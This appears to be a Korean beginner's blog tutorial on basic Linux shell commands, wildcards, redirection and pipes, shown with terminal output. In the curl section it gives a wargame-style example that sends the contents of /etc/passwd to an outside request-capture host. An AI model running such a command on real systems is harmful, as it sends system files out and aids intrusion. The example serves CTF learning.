1. id
: 현재 User의 ID와 User가 속해 있는 Group ID를 보여준다.
user@user-virtual-machine:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
2. sudo apt update
: 설치 가능한 소프트웨어 패키지를 업데이트한다. 어떤 버전을 설치할 수 있는 지도 업데이트 한다.
user@user-VirtualBox:~$ sudo apt update
[sudo] password for user:
Get:1 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB]
Hit:2 http://kr.archive.ubuntu.com/ubuntu jammy InRelease
Hit:3 http://kr.archive.ubuntu.com/ubuntu jammy-updates InRelease
Hit:4 http://kr.archive.ubuntu.com/ubuntu jammy-backports InRelease
Fetched 110 kB in 2s (60.0 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.
3. sudo apt upgrade
: 리눅스에 설치된 소프트웨어 패키지 버전을 업그레이드 한다.
user@user-VirtualBox:~$ sudo apt upgrade
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
libflashrom1 libftdi1-2 linux-headers-5.15.0-43
linux-headers-5.15.0-43-generic linux-image-5.15.0-43-generic
linux-modules-5.15.0-43-generic linux-modules-extra-5.15.0-43-generic
Use 'sudo apt autoremove' to remove them.
#
# News about significant security updates, features and services will
# appear here to raise awareness and perhaps tease /r/Linux ;)
# Use 'pro config set apt_news=false' to hide this and future APT news.
#
The following packages have been kept back:
libglib2.0-0 libglib2.0-bin libglib2.0-data
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
4. pwd (Print Working Directory)
:현재 작업 중인 디렉터리의 경로를 출력한다.
user@user-VirtualBox:~$ pwd
/home/user
5. ls(List)
: 디렉토리의 내용을 출력한다.
user@user-VirtualBox:~$ ls
Desktop Documents Downloads Music Pictures Public snap Templates Videos
여기서, ls -l을 실행하면 각각 디렉터리의 자세한 정보를 출력한다.
user@user-virtual-machine:~$ ls -l
total 36
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos
추가로, 현재 디렉터리뿐만 아니라 임의 디렉터리의 내용도 출력할 수 있다.
아래와 같이 ls -l / 을 실행하면, 루트 디렉토리의 내용도 같이 출력한다.
user@user-virtual-machine:~$ ls -l /
total 2191440
lrwxrwxrwx 1 root root 7 11월 17 12:05 bin -> usr/bin
drwxr-xr-x 4 root root 4096 11월 17 12:14 boot
drwxrwxr-x 2 root root 4096 11월 17 12:07 cdrom
drwxr-xr-x 19 root root 4260 11월 17 16:11 dev
drwxr-xr-x 130 root root 12288 11월 17 12:14 etc
drwxr-xr-x 3 root root 4096 11월 17 12:08 home
lrwxrwxrwx 1 root root 7 11월 17 12:05 lib -> usr/lib
lrwxrwxrwx 1 root root 9 11월 17 12:05 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 11월 17 12:05 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 11월 17 12:05 libx32 -> usr/libx32
drwx------ 2 root root 16384 11월 17 12:05 lost+found
drwxr-xr-x 4 root root 4096 11월 17 12:11 media
drwxr-xr-x 2 root root 4096 8월 8 07:52 mnt
drwxr-xr-x 2 root root 4096 8월 8 07:52 opt
dr-xr-xr-x 352 root root 0 11월 17 14:24 proc
drwx------ 4 root root 4096 11월 17 12:11 root
drwxr-xr-x 37 root root 940 11월 17 22:33 run
lrwxrwxrwx 1 root root 8 11월 17 12:05 sbin -> usr/sbin
drwxr-xr-x 13 root root 4096 8월 8 07:59 snap
drwxr-xr-x 2 root root 4096 8월 8 07:52 srv
-rw------- 1 root root 2243952640 11월 17 12:05 swapfile
dr-xr-xr-x 13 root root 0 11월 17 14:24 sys
drwxrwxrwt 22 root root 4096 11월 18 00:36 tmp
drwxr-xr-x 14 root root 4096 8월 8 07:52 usr
drwxr-xr-x 14 root root 4096 8월 8 07:58 var
6. cd(Change Directory)
: 작업 중인 디렉터리를 변경한다.
디렉터리를 어떠한 경로를 통해 변경할 지를 알기 위해서는 2가지 용어를 알아야 한다.
1. 절대 경로(Absolute Path) : 루트(/) 디렉토리를 기준으로 모든 경로를 적어서 표현하는 경로
ex) / home / user는 루트(/) 디렉터리에서 home, user 순서로 하위 디렉터리로 뻗어 나가는 경로
2. 상대 경로(Relative Path) : 현재 디렉터리를 기준으로 상위 or 하위 디렉터리로 뻗어 나가는 경로
- cd.. 는 현재 디렉터리에서 부모 디렉터리로 이동한다
- ~ 는 현재 유저의 home 디렉터리이다.
- - 는 이전에 위치했던 디렉터리이다.
아래는 cd 명령어와 pwd 명령어를 실행한 예시이다.
user@user-virtual-machine:~$ pwd
/home/user
user@user-virtual-machine:~$ cd /
user@user-virtual-machine:/$ pwd
/
user@user-virtual-machine:/$ cd -
/home/user
user@user-virtual-machine:~$ cd ..
user@user-virtual-machine:/home$ pwd
/home
7. mkdir(Make Directory)
: 디렉터리를 생성한다.
아래는, 앞서 배운 pwd, cd 명령어와 mkdir 명령어를 실행한 예시이다.
user@user-virtual-machine:~$ pwd
/home/user
user@user-virtual-machine:~$ ls -l
total 36 // 현재 36kbytes가 할당
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos
user@user-virtual-machine:~$ mkdir new_dir
user@user-virtual-machine:~$ ls -l
total 40 // 4kbytes가 추가 할당되어 총 40kbytes 가 할당
drwxr-xr-x 2 user user 4096 11월 17 12:11 Desktop
drwxr-xr-x 2 user user 4096 11월 17 12:11 Documents
drwxr-xr-x 2 user user 4096 11월 17 12:11 Downloads
drwxr-xr-x 2 user user 4096 11월 17 12:11 Music
drwxrwxr-x 2 user user 4096 11월 18 00:59 new_dir <<<<<< 새롭게 추가된 디렉토리
drwxr-xr-x 2 user user 4096 11월 17 12:11 Pictures
drwxr-xr-x 2 user user 4096 11월 17 12:11 Public
drwx------ 4 user user 4096 11월 17 16:11 snap
drwxr-xr-x 2 user user 4096 11월 17 12:11 Templates
drwxr-xr-x 2 user user 4096 11월 17 12:11 Videos
user@user-virtual-machine:~$ cd new_dir // 추가된 디렉토리로 이동
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
8. touch
: 비어 있는 새로운 파일을 생성한다.
앞서 생성했던, new_dir 디렉터리에서 ls -l 을 실행하면, 파일이 없다.
하지만, 아래와 같이 touch 명령어를 통해 현재 디렉토리에서 새로운 파일(new_file)을 만들고 pwd 명령어를 실행하면,
/ home / user / new_dir에 new_file이 생성된다.
user@user-virtual-machine:~$ cd new_dir
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0 // new_dir 디렉토리에 파일이 아무것도 없음
user@user-virtual-machine:~/new_dir$ touch new_file // 비어 있는 디렉토리에 new_file 파일 생성
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 new_file
9. mv(Move)
: 파일이나 디렉터리의 위치를 옮기거나, 이름을 변경할 때 사용한다.
아래는, 파일 이름 변경한 예시이다.
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 new_file
user@user-virtual-machine:~/new_dir$ mv new_file old_file // new_file 을 old_file 로 파일명 변경
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 old_file // 변경된 파일명
아래는, 파일 위치를 변경한 예시이다.
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:06 old_file
user@user-virtual-machine:~/new_dir$ ls ..
Desktop Documents Downloads Music new_dir Pictures Public snap Templates Videos
user@user-virtual-machine:~/new_dir$ mv old_file .. // old_file 을 부모 디렉토리로 이동
user@user-virtual-machine:~/new_dir$ ls ..
Desktop Documents Downloads Music new_dir old_file Pictures Public snap Templates Videos // 이동된 파일 위치
10. rm(Remove)
: 파일이나 디렉터리를 삭제한다.
아래는, 파일을 삭제하는 예시이다. rm 파일명 형식으로 삭제한다.
user@user-virtual-machine:~/new_dir$ touch abcd // abcd 파일 생성
user@user-virtual-machine:~/new_dir$ pwd
/home/user/new_dir
user@user-virtual-machine:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 11월 18 01:24 abcd
user@user-virtual-machine:~/new_dir$ rm abcd // abcd 파일 삭제
user@user-virtual-machine:~/new_dir$ ls -l
total 0 // 삭제된 파일
아래는, 디렉토리를 삭제하는 예시이다. rm -r 디렉토리명 형식으로 삭제한다.
user@user-virtual-machine:~/new_dir$ mkdir newnew_dir // 새로운 디렉토리 생성
user@user-virtual-machine:~/new_dir$ ls -l
total 4
drwxrwxr-x 2 user user 4096 11월 18 01:26 newnew_dir
user@user-virtual-machine:~/new_dir$ rm -r newnew_dir // 생성된 디렉토리 삭제
user@user-virtual-machine:~/new_dir$ ls -l
total 0 // 삭제된 디렉토리
11. cat
: 파일의 내용을 출력한다. cat 파일경로 형식으로 사용한다.
아래는 old_file에 hello라는 내용을 입력한 것이다.
아래는 old_file의 내용인 hello가 출력되는 예시이다.
user@user-virtual-machine:~/new_dir$ cat /home/whitetommy/old_file
hello
12. file
:파일의 유형을 출력한다. file 파일경로 형식으로 사용한다.
user@user-virtual-machine:~/new_dir$ file /home/user/old_file
/home/user/old_file: ASCII text
user@user-virtual-machine:~/new_dir$ file /home/user/new_dir
/home/user/new_dir: directory
13. echo
: 셸에 유저가 입력한 텍스트를 출력한다.
user@user-virtual-machine:~/new_dir$ echo "hello"
hello
한편, echo 내용 > 파일명 형식으로 파일을 생성할 수 있다.
user@user-virtual-machine:~/new_dir$ echo "Hello World!" > helloByEcho
user@user-virtual-machine:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
14. cp(Copy)
: 파일이나 디렉토리를 복사한다.
user@user-virtual-machine:~/new_dir$ echo "Hello World!" > helloByEcho // "Hello World!" 내용을 가진 helloByEcho 파일 생성
user@user-virtual-machine:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
user@user-virtual-machine:~/new_dir$ cp helloByEcho copyhelloByEcho // helloByEcho 파일을 copyhelloByEcho 라는 파일명으로 복사(내용이 같다)
user@user-virtual-machine:~/new_dir$ cat copyhelloByEcho
Hello World!
15. grep
: 전체에서 특정 문자열을 찾을 때 사용한다. grep 문자열 파일명 형식으로 사용한다.
user@user-virtual-machine:~/new_dir$ grep "Hello" helloByEcho
Hello World!
16. man(Manual)
: 특정 명령어의 매뉴얼을 보여준다.
아래는 cp 명령어의 매뉴얼이다.
CP(1) User Commands CP(1)
NAME
cp - copy files and directories
SYNOPSIS
cp [OPTION]... [-T] SOURCE DEST
cp [OPTION]... SOURCE... DIRECTORY
cp [OPTION]... -t DIRECTORY SOURCE...
DESCRIPTION
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
Mandatory arguments to long options are mandatory for short options too.
-a, --archive
same as -dR --preserve=all
--attributes-only
don't copy the file data, just the attributes
--backup[=CONTROL]
make a backup of each existing destination file
Manual page cp(1) line 1 (press h for help or q to quit)
17. curl (client URL)
: 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어이다. curl [옵션] URL 형식으로 사용한다.
HTTP, HTTPS, FTP 등 다양한 protocol을 지원한다.
아래는 구글 웹 서버의 콘텐츠를 반환하여 출력하는 모습이다.
user@user-VirtualBox:~$ curl https://www.google.com
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ko">
... (생략)
user@user-VirtualBox:~$
curl 명령어의 [옵션] 은 다음과 같다.
- -o file : 전송받은 데이터를 파일에 저장한다.
- -i : 결과 값에 HTTP 응답 헤더를 포함한다.
- -X "method" : HTTP 요청 메서드를 지정한다.
- -d "key=value" : HTTP POST 메서드로 데이터를 전송한다.
curl 은 워게임 문제에서도 유용하게 사용된다. 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능하다.
아래는 /etc/passwd 파일을 https:// https://hmqtzgx.request.dreamhack.game 에 POST 데이터로 전송하는 예시이다.
$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"
와일드카드(wildcards)
: 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자
1.?
a-z, 0-9 범위 내 임의의 1개 문자로 대체된다.
user@user-virtual-machine:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
user@user-virtual-machine:~/new_dir$ cat helloBy?cho
Hello World!
2. *
a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체된다.
user@user-virtual-machine:~/new_dir$ cat h*
Hello World!
3. []
범위 내 모든 문자로 대체된다. [문자 1-문자 2]또는[문자 1, 문자 3,...] 형태로 범위를 지정한다.
user@user-virtual-machine:~/new_dir$ touch test1 test4 test3 test2
user@user-virtual-machine:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user 0 11월 18 15:50 test1
-rw-rw-r-- 1 user user 0 11월 18 15:50 test2
-rw-rw-r-- 1 user user 0 11월 18 15:50 test3
-rw-rw-r-- 1 user user 0 11월 18 15:50 test4
user@user-virtual-machine:~/new_dir$ ls test[0-3]
test1 test2 test3
리다이렉션
: 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경한다.
주로, 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력을 전달할 때 사용한다.
1. 명령어 > 파일
:명령어 결과를 파일에 쓴다. 파일이 없으면 새로 만들고, 없으면 덮어쓴다.
user@user-virtual-machine:~/new_dir$ ls test[0-3]
test1 test2 test3
user@user-virtual-machine:~/new_dir$ ls test[0-3] > world // test1 test2 test3 파일을 출력 결과로 world 파일에 저장
user@user-virtual-machine:~/new_dir$ cat world // world 파일의 내용 출력
test1
test2
test3
2. 명령어 >> 파일
:명령어 결과를 파일에 쓴다. 파일이 없으면 새로 만들고, 있으면 이어서 쓴다.
user@user-virtual-machine:~/new_dir$ ls test[1-2] >> world // 이미 있는 world 에 이어서 test1 test2 출력 결과 저장
user@user-virtual-machine:~/new_dir$ ls -l
total 12
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user 0 11월 18 15:50 test1
-rw-rw-r-- 1 user user 0 11월 18 15:50 test2
-rw-rw-r-- 1 user user 0 11월 18 15:50 test3
-rw-rw-r-- 1 user user 0 11월 18 15:50 test4
-rw-rw-r-- 1 user user 30 11월 18 16:02 world
user@user-virtual-machine:~/new_dir$ cat world
test1
test2
test3
test1
test2
3. 명령어 < 파일
: 명령어의 표준 입력을 파일로 변경한다.
아래는 world 파일 내용을 표준 입력으로 받아서 grep test 명령어를 수행하는 예시이다.
user@user-virtual-machine:~/new_dir$ cat world
test1
test2
test3
test1
test2
user@user-virtual-machine:~/new_dir$ grep test < world
test1
test2
test3
test1
test2
user@user-virtual-machine:~/new_dir$
파이프(pipe)
: 리다이렉션의 한 형태이다. 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용한다. | 문자로 나타낸다.
아래는 ls -l 명령 결과에서 문자열 "hello"가 포함된 행을 찾아 출력하는 예시이다.
user@user-virtual-machine:~/new_dir$ ls -l
total 12
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
-rw-rw-r-- 1 user user 0 11월 18 15:50 test1
-rw-rw-r-- 1 user user 0 11월 18 15:50 test2
-rw-rw-r-- 1 user user 0 11월 18 15:50 test3
-rw-rw-r-- 1 user user 0 11월 18 15:50 test4
-rw-rw-r-- 1 user user 30 11월 18 16:02 world
user@user-virtual-machine:~/new_dir$ ls -l | grep hello
-rw-rw-r-- 1 user user 13 11월 18 01:41 copyhelloByEcho
-rw-rw-r-- 1 user user 13 11월 18 01:39 helloByEcho
'해킹 > 해킹 기초지식' 카테고리의 다른 글
정규 표현식(Regex) (0) | 2023.11.27 |
---|---|
도커(Docker)와 명령어 (0) | 2023.11.20 |
SSH(Secure Shell, Secure Socket Shell) (2) | 2023.11.20 |
시스템 해킹(System Hacking)과 리버스 엔지니어링(Reverse Engineering), 웹 해킹(Web Hacking) (1) | 2023.11.19 |
리눅스 권한- 유저(user)와 그룹(group) (1) | 2023.11.19 |